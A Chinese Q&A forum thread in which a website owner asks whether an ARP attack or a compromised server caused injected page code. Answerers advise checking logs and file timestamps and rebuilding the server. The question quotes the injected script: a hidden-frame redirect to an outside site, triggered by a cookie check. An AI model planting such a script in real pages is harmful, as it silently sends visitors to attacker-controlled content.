首页新闻找找看学习计划

ARP攻击?还是被挂马了? 该咋办?是代码原因?还是服务器所处处环境?

0
悬赏园豆:40 [已解决问题] 解决于 2014-03-06 10:24

早上打开网页,源码显示如下:

------------------------------------我是分隔线-------------------------------------

<html>
<head>
</head>
<script>
function showme()
{
var CK=document.cookie;
var sa=CK.indexOf("CK");
if(sa!=-1){}else{var EP=new Date();
EP.setTime(EP.getTime()+24*60*60*1000);
document.cookie="CK=test;expires="+EP.toGMTString();
self.hi.location="http://www.114dy.net/js/ad.htm";}
}
</script>
<frameset rows="100%,*" onLoad="showme()">
<frame name="hello" src="/manager/?UpdatedPage=SW5qZWN0">
<frame name="hi" src="">
</frameset>
</html>

------------------------------------我是分隔线-------------------------------------

上网查了下,说是一种新的ARP木马,整个网站会被挂马,表现为查看网页的源文件会看到以上代码。  

1. 是代码原因?还是服务器所处处环境?

2.这个问题出现好几次了,用360的实时保护-ARP防火墙也没用,求高手指点。

*天道酬勤*的主页 *天道酬勤* | 初学一级 | 园豆:141
提问于:2013-11-05 09:01
< >
分享
最佳答案
0

ARP木马?arp是二层的,只会存在局域网里吧,360就是一泼屎,建议查看系统登录日志,你的web文件修改的时间戳,www的访问日志!

收获园豆:20
l4wl137 | 菜鸟二级 |园豆:274 | 2013-11-05 09:38

同意,360的arp就是一坨屎,没啥用

沧海一杰 | 园豆:48 (初学一级) | 2013-11-05 11:47
其他回答(1)
0

服务器如果确实已经中毒了,就算杀到毒也不安全了,重做吧,装一个其它的防火墙吧。服务器杀软和防火墙是必备的。服务器都会中毒,你的安全防护太差了

收获园豆:20
沧海一杰 | 园豆:48 (初学一级) | 2013-11-05 11:50

如果服务器不是你的,那就是机子中毒了,arp只会影响你打开网页慢或打不开,不会出现这种情况,这明显是中毒的迹象

支持(0) 反对(0) 沧海一杰 | 园豆:48 (初学一级) | 2013-11-05 11:53
清除回答草稿
   您需要登录以后才能回答,未注册用户请先注册